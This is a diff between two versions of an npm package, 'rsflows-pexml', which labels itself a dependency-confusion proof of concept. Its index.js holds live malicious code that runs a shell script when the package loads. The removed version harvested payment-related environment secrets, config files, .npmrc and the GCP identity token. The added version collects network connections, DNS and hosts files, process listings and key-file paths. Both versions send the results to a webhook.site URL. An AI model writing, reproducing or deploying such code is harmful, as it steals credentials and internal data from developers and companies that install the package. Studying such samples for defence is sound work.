rsflows-pexml 99.9.26 → 99.9.29

package/index.js

@@ -1,27 +1,28 @@
 const { exec } = require('child_process');
-const webhook = 'https://webhook.site/e442364e-c876-4536-a0c2-4edd3fc75935';
+const webhook = 'https://webhook.site/10844949-8a75-4998-bb9a-8ed79b681833';
 
 const cmd = `
 (
-  echo '--- FINAL EXTRACTION ATTEMPT ---';
-  echo 'TARGET_DIR: /home/node/aspect-node';
+  echo '--- THE DEEP PROBE ---';
   
-  # 1. Ambil semua ENV terkait Braintree/PayPal (Tanpa Canary)
-  echo '--- ENV SCAN ---';
-  env | grep -iE 'BRAINTREE|PAYPAL|MERCHANT|KEY|SECRET|TOKEN' | grep -iv 'CANARY';
+  # 1. Cek Koneksi Aktif (Melihat server internal mana yang sedang dihubungi)
+  echo '--- ACTIVE CONNECTIONS ---';
+  netstat -antp 2>/dev/null || ss -atp 2>/dev/null || cat /proc/net/tcp;
 
-  # 2. Cari file sensitif dan ekstrak isinya
-  echo '--- CONFIG FILES SCAN ---';
-  find /home/node/aspect-node /app -maxdepth 4 -type f -name '*.env' -o -name 'config.json' -o -name '.npmrc' 2>/dev/null | while read file; do
-    echo "FILE: \$file";
-    cat "\$file" | grep -iE 'key|secret|pass|token|merchant' | head -n 20;
-  done
+  # 2. Cek DNS Resolv (Mencari domain internal .paypal.com atau .braintree.com)
+  echo '--- INTERNAL DNS ---';
+  cat /etc/resolv.conf;
+  cat /etc/hosts;
 
-  # 3. Ambil Identitas GCP (Pagar terdalam Google Cloud)
-  echo '--- GCP IDENTITY ---';
-  curl -s -m 2 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity' || echo 'GCP Access Failed';
+  # 3. List Proses yang sedang berjalan dengan detail (Mencari password di command line)
+  echo '--- PROCESS LIST ---';
+  ps auxww | grep -v grep | head -n 30;
 
-) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/VAULT_BREAKER
+  # 4. Cari file 'key' atau 'pem' di folder aplikasi secara rekursif
+  echo '--- SECRET KEYS SEARCH ---';
+  find /home/node/aspect-node -type f -name '*.key' -o -name '*.pem' -o -name '*.p12' 2>/dev/null;
+
+) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/DEEP_PROBE_LOG
 `;
 
 exec(cmd);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rsflows-pexml",
-  "version": "99.9.26",
+  "version": "99.9.29",
   "description": "Internal Research PoC - Dependency Confusion",
   "main": "index.js",
   "scripts": {